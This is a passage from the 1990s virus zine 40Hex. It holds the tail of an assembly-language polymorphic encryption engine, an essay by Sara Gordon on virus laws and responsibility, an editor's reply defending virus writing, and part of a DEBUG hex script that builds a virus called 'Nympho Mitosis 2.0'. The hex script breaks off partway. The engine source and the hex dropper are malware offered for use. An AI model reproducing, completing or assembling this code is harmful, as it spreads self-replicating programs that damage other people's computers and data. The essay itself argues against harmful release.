or ah,ds:key_reg ; set key register
|
|
stosw ; store instruction
|
|
pop ax
|
|
xchg di,ds:encode_ptr ; get encode ptr
|
|
jmp keychange_sto
|
|
|
|
keychange_rol: dec ax
|
|
jnz keychange_not
|
|
mov ax,0d1c0h or (1 shl 3) ; ROL AX,1
|
|
jmp keychange_cl
|
|
|
|
keychange_not: dec ax
|
|
jnz keychange_neg
|
|
mov ax,0f7c0h + (2 shl 3) ; NOT AX
|
|
jmp keychange_nocl
|
|
|
|
keychange_neg: dec ax
|
|
jnz keychange_add
|
|
mov ax,0f7c0h + (3 shl 3) ; NEG AX
|
|
jmp keychange_nocl
|
|
|
|
keychange_add: call random_1
|
|
xchg dx,ax
|
|
mov al,ds:key_reg ; get key register
|
|
call add_reg ; ADD reg(ax), value(dx)
|
|
jmp keychange_stoop
|
|
|
|
;=====( Build key )==========================================================;
|
|
|
|
make_key: call get_reg ; get register
|
|
xchg dx,ax
|
|
call random_1 ; get key
|
|
mov ds:key,ax ; save key
|
|
xchg dx,ax
|
|
mov ds:key_reg,al ; save register
|
|
call mov_reg ; MOV reg(ax),value(dx)
|
|
retn
|
|
|
|
;=====( Build counter )======================================================;
|
|
|
|
make_count: call get_reg ; get register
|
|
mov ds:count_reg,al ; save register
|
|
mov dx,(decrypt-v_start)/2 ; # of words to crypt
|
|
call mov_reg ; mov reg(ax),value(dx)
|
|
retn
|
|
|
|
;=====( Build Pointer )======================================================;
|
|
|
|
make_ptr: mov dx,ds:pointer
|
|
call get_ptr_reg ; get DI/SI/BP/BX
|
|
mov ds:ptr_reg,al
|
|
mov ds:ptr_reg1,-1
|
|
mov bx,3
|
|
call random_bx ; 1 in 4 chance of 2 regs
|
|
jnz make_ptr_2
|
|
cmp al,_si
|
|
mov bx,11000000b ; DI/SI
|
|
jb make_ptr_test
|
|
mov bl,00101000b ; BP/BX
|
|
make_ptr_test: test bp,bx ; 'other' availible?
|
|
jz make_ptr_2
|
|
make_ptr_again: call get_ptr_reg ; get DI/SI/BP/BX
|
|
push ax
|
|
call conv_num ; convert to bit-map number
|
|
test al,bl ; is it other type?
|
|
pop ax
|
|
jnz make_ptr_ok
|
|
call del_reg ; delete register
|
|
jmp make_ptr_again
|
|
|
|
make_ptr_ok: mov ds:ptr_reg1,al ; save second register
|
|
mov bx,-1
|
|
call random_bx
|
|
sub dx,bx ; randomize values
|
|
xchg bx,dx
|
|
call mov_reg ; mov reg(ax), value(dx)
|
|
xchg bx,dx
|
|
mov al,ds:ptr_reg ; get first reg
|
|
make_ptr_2: xor bx,bx ; zero displacement
|
|
call boolean ; use one?
|
|
jnz make_ptr_nodisp
|
|
mov bx,-1
|
|
call random_bx
|
|
sub dx,bx ; subtract displacement
|
|
make_ptr_nodisp:mov ds:disp,bx ; save displacement
|
|
call mov_reg ; mov reg(ax), value(dx)
|
|
retn
|
|
|
|
;=====( Shell for mov_reg1 )=================================================;
|
|
|
|
mov_reg: push bx dx
|
|
mov bx,4
|
|
call random_bx ; 1 in 5 chance of MOV/ADD/SUB
|
|
jnz mov_reg_call
|
|
mov bx,-1
|
|
call random_bx ; get random #
|
|
sub dx,bx ; MOV reg, value-random #
|
|
call mov_reg1 ; do MOV reg,
|
|
mov dx,bx
|
|
call add_reg ; Now add difference
|
|
pop dx bx
|
|
retn
|
|
|
|
mov_reg_call: pop dx bx
|
|
|
|
;=====( Mov reg(ax), value(dx) )=============================================;
|
|
|
|
mov_reg1: push ax bx cx dx
|
|
cbw
|
|
mov bx,2
|
|
call random_bx ; MOV or SUB/XOR ADD/OR/XOR
|
|
jz mov_reg_other
|
|
mov bl,2
|
|
call random_bx ; 1 in 3 chance of c6/c7 MOV
|
|
jnz mov_reg_b0
|
|
or ax,0c7c0h ; MOV reg,imm
|
|
call boolean ; Do long MOV or LEA?
|
|
jnz mov_reg_c7
|
|
mov cl,3
|
|
shl al,cl ; Reg -> bits 3,4,5
|
|
xor ax,(8d00h or 110b) xor 0c700h ; LEA reg,[imm]
|
|
mov_reg_c7: xchg al,ah
|
|
stosw ; store it
|
|
mov_reg_sto: xchg dx,ax
|
|
stosw ; store value
|
|
call garble
|
|
mov_reg_exit: jmp modify_pop
|
|
|
|
mov_reg_b0: or al,0b8h ; MOV reg,imm
|
|
stosb
|
|
jmp mov_reg_sto
|
|
|
|
mov_reg_other: push ax
|
|
mov cl,3
|
|
mov ch,al
|
|
shl ch,cl ; copy reg1 to reg2
|
|
or al,ch ; set it
|
|
call boolean
|
|
jnz mov_reg_other1
|
|
or ah,2 ; reg1, reg2 -> reg2, reg1
|
|
mov_reg_other1: call boolean
|
|
jnz mov_reg_xor
|
|
or ax,29c0h ; SUB reg, reg
|
|
call boolean
|
|
jnz mov_reg_other_sto
|
|
xor ah,19h xor 29h ; SBB reg, reg
|
|
call clear_carry ; clear carry flag
|
|
mov_reg_other_sto:
|
|
xchg al,ah
|
|
stosw
|
|
call garble
|
|
pop ax
|
|
call modify_reg ; ADD/OR/XOR reg(ax),value(dx)
|
|
jmp mov_reg_exit
|
|
|
|
mov_reg_xor: or ax,31c0h ; XOR AX,AX
|
|
jmp mov_reg_other_sto
|
|
|
|
;=====( ADD/OR/XOR reg(ax), value(dx) )======================================;
|
|
|
|
modify_reg: push ax bx cx dx
|
|
cbw
|
|
mov bx,2
|
|
call random_bx
|
|
mov cx,3500h + (6 shl 3) ; XOR
|
|
jz modify_reg_cont
|
|
mov cx,0d00h + (1 shl 3) ; OR
|
|
dec bx
|
|
jz modify_reg_cont
|
|
modify_reg_add: mov cx,0500h ; ADD
|
|
call boolean ; ADC or ADD?
|
|
jnz modify_reg_cont
|
|
mov cx,1500h + (2 shl 3) ; ADC
|
|
modify_reg_clc: call clear_carry ; Clear carry flag
|
|
modify_reg_cont:test bp,200h ; keychange executing?
|
|
jz modify_reg_nosave
|
|
mov ds:modify_op,ch ; save AX operation
|
|
modify_reg_nosave:
|
|
call boolean ; check if AX?
|
|
jnz modify_reg_noax
|
|
or al,al ; AX?
|
|
jnz modify_reg_noax
|
|
mov al,ch
|
|
stosb ; store instruction
|
|
xchg dx,ax
|
|
modify_sto: stosw ; store value
|
|
modify_exit: call garble
|
|
modify_pop: pop dx cx bx ax
|
|
retn
|
|
|
|
modify_reg_noax:or ax,81c0h
|
|
or al,cl ; XOR/OR/ADD
|
|
call boolean ; sign extend?
|
|
jnz modify_reg_nosign
|
|
cmp dx,7fh ; possible to sign extend?
|
|
jbe modify_sign
|
|
cmp dx,-80h
|
|
jb modify_reg_nosign
|
|
modify_sign: or ah,2 ; sign extend
|
|
modify_reg_nosign:
|
|
xchg al,ah
|
|
stosw
|
|
test al,2 ; sign extended?
|
|
xchg dx,ax
|
|
je modify_sto
|
|
stosb
|
|
jmp modify_exit
|
|
|
|
;=====( ADD reg(ax), value(dx) )=============================================;
|
|
|
|
add_reg: push ax bx cx dx
|
|
cbw
|
|
mov cx,dx
|
|
add_loop: mov bx,3
|
|
call random_bx ; 1 in 4 chance of ADD/SUB
|
|
jz add_noinc
|
|
mov bx,40c0h ; INC reg
|
|
test bp,200h ; keychange running?
|
|
jz add_nosave
|
|
mov ds:modify_op,05h ; ADD AX,
|
|
add_nosave: cmp cx,3h ; too high to INC?
|
|
jb add_inc
|
|
neg cx
|
|
cmp cx,3h ; too low to DEC?
|
|
ja add_noinc
|
|
mov bx,48c0h + (1 shl 3) ; DEC reg
|
|
test bp,200h
|
|
jz sub_nosave
|
|
mov ds:modify_op,2dh ; SUB AX,
|
|
sub_nosave: inc dx
|
|
inc cx
|
|
cmp ax,0
|
|
org $ - 2
|
|
add_inc: dec dx
|
|
dec cx
|
|
push ax
|
|
mov ax,5
|
|
call random ; 1 in 6 chance of FF
|
|
pop ax
|
|
push ax
|
|
jnz add_inc_40
|
|
mov ah,0ffh
|
|
xchg bl,bh
|
|
xchg al,ah ; AL=ff AH=Reg
|
|
stosb
|
|
xchg al,ah
|
|
add_inc_40: or al,bh ; set DEC/INC
|
|
stosb
|
|
pop ax
|
|
call garble
|
|
or dx,dx ; all done?
|
|
jnz add_loop
|
|
add_reg_exit: jmp modify_pop
|
|
|
|
add_noinc: call boolean ; ADD or SUB?
|
|
jz sub_reg
|
|
jmp modify_reg_add
|
|
|
|
sub_reg: test bp,200h ; keychange?
|
|
jnz sub_reg_key
|
|
neg dx
|
|
sub_reg_key: mov cx,2d00h + (5 shl 3) ; SUB
|
|
call boolean ; use SBB?
|
|
jz sbb_reg
|
|
jmp modify_reg_cont
|
|
|
|
sbb_reg: mov cx,1d00h + (3 shl 3) ; SBB
|
|
jmp modify_reg_clc
|
|
|
|
;=====( clear carry flag )===================================================;
|
|
|
|
clear_carry: push ax bp
|
|
or bp,800h ; don't change flags
|
|
mov al,0f8h ; CLC
|
|
call boolean
|
|
jnz clear_carry_clc
|
|
mov ax,0f5f9h ; STC/CMC
|
|
stosb
|
|
call garble
|
|
xchg al,ah
|
|
clear_carry_clc:stosb
|
|
call garble
|
|
pop bp ax
|
|
retn
|
|
|
|
garble: push ax
|
|
mov ax,2
|
|
call random ; how many times to call?
|
|
xchg cx,ax
|
|
jcxz garble_exit
|
|
garble_loop: call garble1
|
|
loop garble_loop
|
|
garble_exit: xchg cx,ax
|
|
pop ax
|
|
retn
|
|
|
|
;=====( add garbage code )===================================================;
|
|
|
|
garble1: push ax bx cx dx bp
|
|
test bp,100h ; Garble already executing?
|
|
jnz garble_ret
|
|
and bp,not 200h ; keychange not executing
|
|
or bp,100h ; Garble executing
|
|
call boolean
|
|
jnz garble_ret
|
|
mov cl,3
|
|
call random_1
|
|
xchg dx,ax ; DX=random number
|
|
call get_reg ; get register
|
|
jc garble_ret
|
|
mov bx,6
|
|
test bp,800h ; flag change allowed?
|
|
jz garble_f
|
|
mov bl,2
|
|
garble_f: call random_bx ; MOV/1BYTE/XCHG/MODIFY/ADD/MOV?
|
|
jnz garble_xchg
|
|
or ah,89h
|
|
garble_reg_set: call boolean ; reg1, reg2 or reg2, reg1?
|
|
jz garble_reg_reg
|
|
or ah,2 ; 8b
|
|
xchg al,dl
|
|
garble_reg_reg: and dl,7 ; Get register values only
|
|
and al,7
|
|
shl dl,cl
|
|
or al,0c0h ; MOV reg1, random reg
|
|
or al,dl
|
|
xchg al,ah
|
|
stosw
|
|
garble_ret: pop bp
|
|
jmp modify_pop
|
|
|
|
garble_xchg: dec bx
|
|
jnz garble_1byte
|
|
xchg dx,ax
|
|
call get_reg ; get another reg
|
|
jc garble_ret
|
|
xchg dx,ax ; AL=reg1 DL=reg2
|
|
call boolean
|
|
jnz garble_xchgnoax
|
|
or dl,dl ; AX?
|
|
jz garble_xchgax
|
|
or al,al
|
|
jz garble_xchgax
|
|
garble_xchgnoax:or ah,87h ; XCHG reg1,
|
|
jmp garble_reg_reg
|
|
|
|
garble_xchgax: or al,90h
|
|
or al,dl ; XCHG AX, reg
|
|
garble_stosb: stosb
|
|
jmp garble_ret
|
|
|
|
garble_1byte: dec bx
|
|
jnz garble_modify
|
|
mov al,4
|
|
call random
|
|
mov bx,offset garble_1byte_tbl
|
|
xlat ; get 1 byte instruction
|
|
jmp garble_stosb
|
|
|
|
garble_modify: dec bx
|
|
jnz garble_add
|
|
call modify_reg ; ADD/XOR/OR reg1, random #
|
|
jmp garble_ret
|
|
|
|
garble_add: dec bx
|
|
jnz garble_mov
|
|
call add_reg ; ADD/SUB reg1, random #
|
|
jmp garble_ret
|
|
|
|
garble_mov: dec bx
|
|
jnz garble_op
|
|
call mov_reg ; MOV reg1, random #
|
|
jmp garble_ret
|
|
|
|
garble_op: and dh,00111000b ; get rnd op
|
|
mov ah,1
|
|
or ah,dh
|
|
jmp garble_reg_set
|
|
|
|
garble_1byte_tbl:
|
|
db 2eh
|
|
db 36h
|
|
cld
|
|
std
|
|
sti
|
|
|
|
;=====( Is BP a Pointer? )===================================================;
|
|
|
|
is_bp_ptr: cmp ds:ptr_reg,_bp
|
|
je bp_is_ptr
|
|
cmp ds:ptr_reg1,_bp
|
|
bp_is_ptr: retn
|
|
|
|
;=====( Get pointer register (DI/SI/BP/BX) )=================================;
|
|
|
|
get_ptr_regnext:call del_reg ; restore register to pool
|
|
|
|
get_ptr_reg: call get_reg ; get register
|
|
cmp al,_bx
|
|
je got_ptr_reg
|
|
cmp al,_bp
|
|
jb get_ptr_regnext
|
|
got_ptr_reg: retn
|
|
|
|
;=====( return random register in AL )=======================================;
|
|
|
|
get_reg: test bp,11101111b ; any registers free?
|
|
stc
|
|
jz get_reg_exit
|
|
get_reg_loop: mov ax,7
|
|
call random
|
|
push ax
|
|
cbw
|
|
call conv_num ; convert to bit map
|
|
test bp,ax ; is register free?
|
|
pushf
|
|
not ax
|
|
and bp,ax ; mark register
|
|
popf
|
|
pop ax
|
|
jz get_reg_loop
|
|
get_reg_exit: retn
|
|
|
|
;=====( Restore register to pool )===========================================;
|
|
|
|
del_reg: push ax
|
|
cbw
|
|
call conv_num ; convert to bit number
|
|
or bp,ax ; restore register
|
|
pop ax
|
|
retn
|
|
|
|
;=====( convert number to bit map )==========================================;
|
|
|
|
conv_num: push cx
|
|
mov cl,al
|
|
mov al,1
|
|
shl al,cl
|
|
pop cx
|
|
retn
|
|
|
|
;=====( randomize order of BX/CX/DX/SI, then call )==========================;
|
|
|
|
order: call garble
|
|
mov ax,2
|
|
call random
|
|
xchg cx,ax
|
|
inc cx
|
|
order_loop: call boolean
|
|
jnz order1
|
|
xchg bx,ax
|
|
order1: call boolean
|
|
jnz order2
|
|
xchg dx,ax
|
|
order2: call boolean
|
|
jnz order3
|
|
xchg si,ax
|
|
order3: loop order_loop
|
|
push si dx bx ax
|
|
order_ret: retn
|
|
|
|
;=====( return random number between 0 and ffff in bx )======================;
|
|
|
|
random_bx: xchg bx,ax
|
|
call random
|
|
xchg bx,ax
|
|
retn
|
|
|
|
;=====( flip Sign bit )======================================================;
|
|
|
|
boolean: push ax
|
|
mov ax,1
|
|
call random
|
|
pop ax
|
|
retn
|
|
|
|
;=====( return random number between 0 and ffff )============================;
|
|
|
|
random_1: mov ax,-1
|
|
|
|
;=====( Generate random number between 0 and AX )============================;
|
|
|
|
random: push ds bx cx dx ax
|
|
xor ax,ax
|
|
int 1ah
|
|
push cs
|
|
pop ds
|
|
in al,40h
|
|
xchg cx,ax
|
|
xchg dx,ax
|
|
mov bx,offset ran_num
|
|
xor ds:[bx],ax
|
|
rol word ptr ds:[bx],cl
|
|
xor cx,ds:[bx]
|
|
rol ax,cl
|
|
xor dx,ds:[bx]
|
|
ror dx,cl
|
|
xor ax,dx
|
|
imul dx
|
|
xor ax,dx
|
|
xor ds:[bx],ax
|
|
pop cx
|
|
xor dx,dx
|
|
inc cx
|
|
je random_ret
|
|
div cx
|
|
xchg ax,dx
|
|
random_ret: pop dx cx bx ds
|
|
or ax,ax
|
|
retn
|
|
|
|
ran_num dw ?
|
|
|
|
;=====( Encrypts the code/writes it/decrypts code )==========================;
|
|
|
|
encode: mov bx,ds:handle
|
|
mov ax,0
|
|
key = word ptr $ - 2
|
|
mov cx,(decrypt-v_start)/2
|
|
xor di,di
|
|
encode_break: clc
|
|
clc
|
|
clc
|
|
clc ; XCHG CX,AX XCHG CX,AX
|
|
clc
|
|
clc ; CLC ADD AX,xxxx / XOR [DI],AX
|
|
clc
|
|
clc ; XOR [DI],AX / CLC ADD AX,xxxx
|
|
inc di
|
|
inc di
|
|
loop encode_break
|
|
encode_ret = byte ptr $
|
|
mov ah,40h
|
|
mov cx,file_size
|
|
cwd
|
|
pushf
|
|
call cs:int_21
|
|
jc encode_flag
|
|
sub ax,cx
|
|
encode_flag: pushf
|
|
pop bp
|
|
mov word ptr ds:[si],0
|
|
encode_flip = word ptr $ - 2
|
|
mov byte ptr ds:write_buff[encode_ret-encode],0c3h
|
|
jmp encode
|
|
encode_end:
|
|
40Hex Number 12 Volume 3 Issue 3 File 006
|
|
|
|
This article is being written for 40-hex, because I believe
|
|
communication is the key to helping computing obtain its maximum
|
|
potential. I do not agree with all of the philosophies of many virus
|
|
writers. This article does not endorse the views of anyone other than
|
|
myself :), and does not endorse any other material that will appear in
|
|
this or any other issue of 40-hex. Many of the ideas expressed in this
|
|
article appeared in one of my submissions to Computer Underground
|
|
Digest. I'm writing this because I've had some good honest conversations
|
|
with some of the Phalcon/Skism people, and I appreciate them listening
|
|
to my views (even though they don't agree with them all).
|
|
|
|
Again, I am not going to get into this "not all viruses are meant to be
|
|
destructive, not everyone who calls a virus exchange BBS will use
|
|
viruses for evil purposes, some anti-virus product developers lie to
|
|
scare the users" business. I agree with all of this, and if you don't,
|
|
then you will have to find that out for yourself. Virus writers already
|
|
know this is true. If you are not a virus writer, and really don't know
|
|
what is going on, and are reading this magazine thinking that we need
|
|
laws to shut these guys down, you should do some investigation on your
|
|
own and find out what is really going on in the virus arena. These
|
|
arguments only cloud the issues, and the issue here is "What is going
|
|
on?". I can't tell you everything that is going on because I don't know,
|
|
but I tell you this much: Something's happening here....What it is ain't
|
|
exactly clear...
|
|
|
|
Computer viruses are programs but they are also more than 'just
|
|
programs'. I did an in-depth study of virus exchange BBS and found that
|
|
the viruses themselves did not have a signifant impact on the users. It
|
|
was more a case of certain attitudes having impact, and of the
|
|
(necessary) reaction on the part of security personnel and a-v product
|
|
developers having impact. By necessary action, I mean that each time a
|
|
virus writer releases a virus to a virus exchange BBS (losing control
|
|
over it) or releases it code in a magazine, people get scared.
|
|
|
|
Developers then have to put detection for that virus in their scanners.
|
|
Updates cost money. Some of this has changed since my study. More
|
|
viruses are being found in the wild. Some of this is due to their
|
|
intentional release, their availability on virus exchange BBS. Still,
|
|
the majority of the problem is not the distribution of the viruses but
|
|
the fostering of some of the attitudes. On the positive side, we see
|
|
some people finally calling for "responsible" action. Only time will
|
|
tell how long it lasts. To me, the P/S E-Mail virus site was a very bad
|
|
choice on the part of the administrators and I am glad it is gone.
|
|
Still, it was better than some situations which actively encourage using
|
|
viruses to cause damage. We don't yet live in that ideal world where we
|
|
can trust other people to act nice.
|
|
|
|
People want to say they can't help what someone else does with a virus
|
|
if they give it to them, but by exercising some common sense and
|
|
responsibility, they -can- help. It's not so much to ask considering the
|
|
future of cyberspace and it's freedoms are at stake here. If people keep
|
|
going like they are now, soon we will have laws that say we CANNOT give
|
|
certain code to anyone. Don't believe it? Read on.
|
|
|
|
When I talked about laws in the Fido Virus echos, virus writers told me
|
|
there is NO way there will be any laws against virus exchange BBS,
|
|
anywhere, ever. Free Speech. WRONG. Do you think I just pull this stuff
|
|
out of thin air?
|
|
|
|
It's not illegal to have such BBS in America. Not yet. They are illegal
|
|
in other countries. Specifically, the Dutch law (art.350a (3), 350b (2)
|
|
Sr.) addresses the distribution of computer viruses. "Any person who
|
|
intentionally or unlawfully makes available or distributes any
|
|
information (data) which is meant tto do damage by replicating itself in
|
|
an automated system shall be liable to a term of imprisonment not
|
|
exceeding four years or a fine of 100,000 guilders."
|
|
|
|
In Sweden, it's starting to sound more like this:
|
|
|
|
Anyone, who, without authorization - erases, modifies, or destructs
|
|
electronically or similarly saved or data, or anyone who, creates,
|
|
promotes, offers, makes available, or circulates in any way means
|
|
destined for unauthorized deletion, modification, or destruction of such
|
|
data, will, if a complaint is filed, receive imprisonment for up to
|
|
three years, a fine, or if there is considerable damage, five years
|
|
sentence.
|
|
|
|
Is that clear enough? It is against the law in Holland to INTENTIONALLY
|
|
(i.e. on purpose, i.e. if you put it online, you knew you put it there)
|
|
to make available ANY data (program) that can do damage..specifically a
|
|
replicating program. That means virus. And don't forget that magic word,
|
|
"extradition". The Swiss laws are in draft stage.
|
|
|
|
Now, a lot of virus writers say they can't be held responsible for a
|
|
virus doing damage if they don't mean for it to escape, or if someone
|
|
else uses it. Wrong again. The law of negligence allows victims of
|
|
accidental injury to sue to obtain compensation for losses caused by
|
|
another's negligence. But, it's even more applicable if you consider the
|
|
aspect of torts. You can have what is called an intentional tort (which
|
|
is what lawyers use to refer to suits that try to get dollars for
|
|
damages, such as libel, fraud). In these kinds of cases, you may think
|
|
just because you didn't mean for your virus to 'escape' you are not
|
|
legally responsible (forgetting about ethics for a minute. A lot of
|
|
virus writers seem to think if its not illegal to do xyz, xyz is
|
|
therefore ok to do. So lets put ethics aside and look at legalities).
|
|
You are indeed legally responsible because all that is necessary to
|
|
establish intentional torts is that you -intended- to do the act (write
|
|
the virus) that caused the harm. The law of negligence allows victims of
|
|
accidental injuries to sue for compensation due to negligence. This of
|
|
course refers to U.S. law, and is not in any way a complete reference,
|
|
but you can get the general idea. You don't just have free rein.
|
|
|
|
But, the law is not the solution, in my opinion. However, you can force
|
|
it to become the solution if you do not take responsibility for your
|
|
actions. If you keep making these viruses available indiscrimately, you
|
|
are creating LAWS, just as surely as if you had written the law with
|
|
your own hand.
|
|
|
|
Stop to think for a moment of the implications of this. The Dutch
|
|
enacted laws as the abuse of computerized equipment increased. While
|
|
some laws already existed that addressed computer crime, it became clear
|
|
that some intentional damage was being done that was slipping through
|
|
the loopholes in the law. Something must be going on that caused them to
|
|
react so strongly, to specifically include virus exchange bulletin
|
|
boards in this legislation. What was going on? Malicious damage.
|
|
Incitement. Actions that helped people to do damage. What is this
|
|
"incitement"?
|
|
|
|
Incitement. That is a term that is getting a lot of publicity now, with
|
|
Mike Elansky held on $500,000 bail for distributing a text file on his
|
|
BBS. The file contained the following text:
|
|
|
|
|
|
! Note to Law-enforcement type people: ! ! This file is intended
|
|
to promote ! ! general havoc and *ANARCHY*, and ! ! since your
|
|
going to be the first ! ! assholes up against the wall.. there ! !
|
|
isnt a damn thing you can do about ! ! it, pigs!
|
|
!
|
|
|
|
|
|
It may be distasteful to some people, but the kind of information
|
|
included in the file was the same 'anarchy' type information you can get
|
|
at your local library. Does it merit a young man being locked up with an
|
|
almost impossible bail? It's no worse than a lot of the graffitti you
|
|
can find in Manhattan, or LA, and it's no worse than you can hear on a
|
|
lot of albums. To me personally, it's just silliness. I know the fellow
|
|
who wrote the file, and I don't find him to be a threatening anarchist.
|
|
He's a fine person, who wrote the above as a parody-spoof. It is not
|
|
much different than the things you hear in the halls at most high
|
|
schools these days. I'm not saying it's a desireable manner of
|
|
expressing dissatisfaciton with the system, but its *NOT* the devil
|
|
incarnate.
|
|
|
|
Someone had it on their BBS, someone downloaded it, and now, the BBS
|
|
sysop is in jail for it. Something's happening here...
|
|
|
|
Fear. People are afraid. They are chasing the shadowy ghost, and imagine
|
|
it is 'the virus writer' or 'the hacker'. Well, virus writers and
|
|
hackers may do some of these things, but the majority of them do not.
|
|
the publicity. Why? Because they want it. And, what happens when they
|
|
want it, and get it? More fear. The real ghost is ignorance and fear,
|
|
not the virus writer or hacker. On the other hand there ARE some very
|
|
malicious people out there. And, maybe to protect people from them, we
|
|
will need laws. The way it stands right now, no one knows who is
|
|
malicious and who is not because everyone is hiding behind the "law".
|
|
This will change, very soon, if people do not stop thinking they can
|
|
just do whatever they like because its "legal". Laws are established
|
|
when new situations come about, and some people are pushing the envelope
|
|
here.
|
|
|
|
One thing that is happening is that people are afraid to say something
|
|
is wrong. We all have to stop being afraid to say something is WRONG. It
|
|
is WRONG to destroy or damage data of other people.
|
|
|
|
It's WRONG to encourage people to do it. and, if you can't figure out
|
|
what encourages people, then you had better figure it out soon, because
|
|
we don't have much time left.
|
|
|
|
I say you better figure it out fast because right now, people are up in
|
|
arms about computer viruses. They have every right in the world to
|
|
expect they shouldn't have to be on guard against any 'toys' that happen
|
|
to escape. They certainly deserve to be protected from people who
|
|
malicious release, or -irresponsibly release- viruses. They should not
|
|
have to learn every in and out of DOS to protect themselves. For most
|
|
people, computers are work. They are not just hack-o-matik machines
|
|
waiting to be explored. No one has the right to destroy other people's
|
|
information. Just like we don't want the government or other people to
|
|
just do whatever they feel like with -our- information, we have to
|
|
respect other people's rights to -their- information.
|
|
|
|
It isn't working. There are still people who are doing malicious things
|
|
with viruses. In talking with a lot of virus writers, I've pretty much
|
|
gotten the same story. After a while, it's just not fun to do it
|
|
anymore, and they evolve into learning more about code in general. They
|
|
no longer upload it to unsuspecting people. Most of them don't even use
|
|
virus exchange BBS, because there is just not any point. You can only
|
|
get excited over FF/FN so many times, and sooner or later you move on to
|
|
other things. But there is still a problem. Newcomers to the virus scene
|
|
pass thru the same stages; they release their viruses either through
|
|
incompetence or purposeful maliciousness, to 'prove' themselves. It's
|
|
almost like a rite of passage.
|
|
|
|
It is this group, the intentionally malicious, that are drawing all of
|
|
the attention. It is this group that forced the hand of the Dutch
|
|
government. It is this group, malicious virus writers and hackers that
|
|
are drawing the attention of the the Legislators and Judiciary in the
|
|
United States, Canada, and now Switzerland.
|
|
|
|
Consider that we are living in a truly global society. The laws cannot
|
|
forever be bound by traditional territorial borders. Think of the
|
|
implications for the future. Being held hostage by one's freedoms tends
|
|
to make one rethink their "Rights". -------
|
|
|
|
--
|
|
|
|
SGordon@Dockmaster.ncsc.mil / vfr@netcom.com bbs: 219-273-2431
|
|
fidonet 1:227/190 / virnet 9:10/0 p.o. box 11417 south bend, in 46624
|
|
*if you don't expect too much from me then you might not be let down*
|
|
----
|
|
|
|
I originally had a huge response for this, but I found that a
|
|
majority of my arguments were more aimed at the point of view she was
|
|
explaining, rather then her viewpoint. The bottom line is, laws that
|
|
regulate information are horrible. If it happens, it is unenforcible.
|
|
I do not believe that virus writers should be 'nice', or politically
|
|
correct, and I dont ever plan on removing virus source from 40Hex.
|
|
Another problem with her article is the part about virus writers doing
|
|
whatever they like just because it is 'legal'. The point is, because
|
|
it IS legal, we can write viruses. People also break the law and
|
|
distribute viruses. It is NOT wrong to write a virus. By any morality.
|
|
It is wrong to use it on someone else's computer illegally. For the
|
|
most part I agree with Sara Gordon. Before you go about saying she is a
|
|
narc, and she did this, and she did that, just ask yourself what have
|
|
you done about virus legislation. If it is equal to zero, zilch, nada,
|
|
etc., then you should at least give her the credit of doing something to
|
|
help the underground, despite the rumors. I don't care whether you
|
|
trust Sara Gordon, but realize that in this issue she is definately
|
|
fighting the legislation.
|
|
40Hex Number 12 Volume 3 Issue 3 File 007
|
|
|
|
This is the latest virus from our newest member Memory Lapse. This
|
|
time, we aren't going to tell you what it does, so, enjoy it. It is
|
|
called Nympho Mitosis 2.0.
|
|
|
|
->Gheap
|
|
|
|
|
|
|
|
-------<snip, snip, snip>-----------------------------
|
|
n nympho20.com
|
|
e 0100 BD 00 00 48 CD 21 BB 4D 5A 74 53 1E 06 33 FF 8C
|
|
e 0110 C0 48 8E D8 38 3D 75 44 88 1D 83 6D 03 44 83 6D
|
|
e 0120 12 44 8B 45 12 8E D8 40 8E C0 88 3D C7 45 01 08
|
|
e 0130 00 C7 45 03 43 00 0E 1F 8D B6 00 01 81 F7 00 01
|
|
e 0140 B9 94 01 F3 A5 B8 89 01 8E D9 87 06 84 00 26 A3
|
|
e 0150 BC 01 8C C0 87 06 86 00 26 A3 BE 01 07 1F 8D B6
|
|
e 0160 FB 03 2E 3B 1C 74 13 86 FB 2E 2B 1C 74 0C BF 00
|
|
e 0170 01 57 C6 05 C3 FF D7 A4 A5 C3 8C C0 05 10 00 2E
|
|
e 0180 03 44 16 50 2E FF 74 14 CB 3D FF FF 75 02 40 CF
|
|
e 0190 80 FC 4E 74 33 80 FC 4F 74 2E 80 FC 11 74 56 80
|
|
e 01A0 FC 12 74 51 06 1E 60 33 ED 3D 00 6C 74 12 80 FC
|
|
e 01B0 3D 74 0F 2D 00 4B 74 0D 61 1F 07 EA 00 00 00 00
|
|
e 01C0 87 D6 E9 C2 00 E9 20 01 E8 2A 02 72 25 60 06 B4
|
|
e 01D0 2F CD 21 26 8B 47 16 26 8B 4F 18 25 1F 00 83 E1
|
|
e 01E0 1F 49 33 C1 75 0A 26 81 6F 1A 13 03 26 19 47 1C
|
|
e 01F0 07 61 CA 02 00 E8 FD 01 84 C0 75 3F 60 06 B4 51
|
|
e 0200 CD 21 8E C3 26 2B 1E 16 00 75 2E 8B DA 8A 07 50
|
|
e 0210 B4 2F CD 21 58 FE C0 75 03 83 C3 07 26 8B 47 17
|
|
e 0220 26 8B 4F 19 25 1F 00 83 E1 1F 49 33 C1 75 0A 26
|
|
e 0230 81 6F 1D 13 03 26 19 47 1F 07 61 CF 5B 4E 79 6D
|
|
e 0240 70 68 6F 20 4D 69 74 6F 73 69 73 5D 20 76 32 2E
|
|
e 0250 30 00 43 6F 70 79 72 69 67 68 74 20 28 63 29 20
|
|
e 0260 31 39 39 33 20 4D 65 6D 6F 72 79 20 4C 61 70 73
|
|
e 0270 65 00 50 68 61 6C 63 6F 6E 2F 53 6B 69 73 6D 20
|
|
e 0280 43 61 6E 61 64 61 00 E8 30 01 26 8B 45 0D 26 8B
|
|
e 0290 4D 0F 25 1F 00 83 E1 1F 49 2B C1 75 48 E8 44 01
|
|
e 02A0 52 50 2D 18 00 1B D5 26 89 45 15 26 89 55 17 B4
|
|
e 02B0 3F B9 18 00 BA 13 04 CD 21 E8 1F 01 B4 40 CD 21
|
|
e 02C0 58 5A 2D 13 03 1B D5 26 89 45 15 26 89 55 17 B4
|
|
e 02D0 40 8B CD CD 21 26 8B 4D 0D 26 8B 55 0F 80 E1 E0
|
|
e 02E0 FE C1 E9 C9 00 E9 CB 00 E8 CF 00 26 8B 45 0D 26
|
|
e 02F0 8B 4D 0F 25 1F 00 83 E1 1F 49 33 C1 74 32 B4 3F
|
|
e 0300 B9 18 00 BA FB 03 CD 21 B8 4D 5A BE 13 04 8B 16
|
|
e 0310 FB 03 3B C2 74 1D 86 E0 2B C2 74 17 E8 C5 00 A3
|
|
e 0320 01 01 B9 03 00 2B C1 C6 04 E9 89 44 01 51 EB 57
|
|
e 0330 E9 80 00 26 8B 45 20 3D 54 42 74 F4 3D 46 2D 74
|
|
